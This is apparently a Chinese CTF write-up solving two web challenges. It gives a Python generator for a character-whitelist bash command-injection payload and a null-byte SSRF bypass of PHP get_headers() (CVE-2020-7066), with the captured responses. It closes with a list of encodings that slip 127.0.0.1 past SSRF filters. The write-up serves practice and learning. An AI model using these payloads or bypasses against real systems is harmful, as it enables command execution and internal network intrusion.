[安洵杯 2020]BASH
白名单的题目~看看都有啥
< ' \ ( ) { } # $ 0
看似不多,实则很多了
脚本直接梭哈(最好理解绕过原理,不然ban了0或啥又不知所谓了)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| from urllib.parse import quote
cmd='cat /f* > 2.txt'
payload='${0}<<<${0}\\<\\<\\<\\$\\\''
for c in cmd:
payload+=f'\\\\$(($((1<<1))#{bin(int(oct(ord(c))[2:]))[2:]}))'.replace('1','${##}').replace('0','${#}')
payload+='\\\''
print(payload)
print(quote(payload))
|
白名单里的每一个都利用上了~
fushuling师傅的无字母数字RCE详解~
[GKCTF 2020]cve版签到
如图存在SSRF,但是只允许.ctfhub.com后缀
如何绕过呢
我第一时间想到的是@url=http://quan9i@127.0.0.1
效果是访问到127.0.0.1
和这题不符
想到%00截断
http://node7.anna.nssctf.cn:21669/?url=http://127.0.0.1%00.ctfhub.com
成功绕过
1 2 3 4 5 6 7 8 9 10 11 12
| Array ( [0] => HTTP/1.1 200 OK [1] => Date: Mon, 02 Jun 2025 09:20:31 GMT [2] => Server: Apache/2.4.38 (Debian) [3] => X-Powered-By: PHP/7.3.15 [4] => Tips: Host must be end with '123' [5] => Vary: Accept-Encoding [6] => Content-Length: 113 [7] => Connection: close [8] => Content-Type: text/html; charset=UTF-8 )
|
注意到Tips
直接加就行了http://node7.anna.nssctf.cn:21669/?url=http://127.0.0.123%00.ctfhub.com
1 2 3 4 5 6 7 8 9 10 11 12
| Array ( [0] => HTTP/1.1 200 OK [1] => Date: Mon, 02 Jun 2025 09:21:22 GMT [2] => Server: Apache/2.4.38 (Debian) [3] => X-Powered-By: PHP/7.3.15 [4] => FLAG: NSSCTF{2146cae9-1d94-4da1-854a-e0f2de824055} [5] => Vary: Accept-Encoding [6] => Content-Length: 113 [7] => Connection: close [8] => Content-Type: text/html; charset=UTF-8 )
|
CVE-2020-7066
在低于7.2.29的PHP版本7.2.x,低于7.3.16的7.3.x和低于7.4.4的7.4.x中,将get_headers()与用户提供的URL一起使用时,如果URL包含零(\ 0)字符,则URL将被静默地截断。这可能会导致某些软件对get_headers()的目标做出错误的假设,并可能将某些信息发送到错误的服务器。
SSRF绕过简写
特殊数字绕过:构造特殊的127.0.0.1,如1②7.0.0.1
句号替代.绕过:用。
来代替.
省略0:当过滤127.0.0.1
整体时,还有一种绕过方式就是省略中间的0,这个时候也是可以访问的,如127.1
进制转换:将127.0.0.1
进行转换,转换为其他进制的数从而绕过检测
进制转换结果如下
1 2 3
| 0177.0.0.1 0x7f.0.0.1 2130706433
|
特殊0:在windows中,0代表0.0.0.0
,而在linux下,0代表127.0.0.1
,如下所示
还有一种方法是DNS重绑定攻击~有缘研究下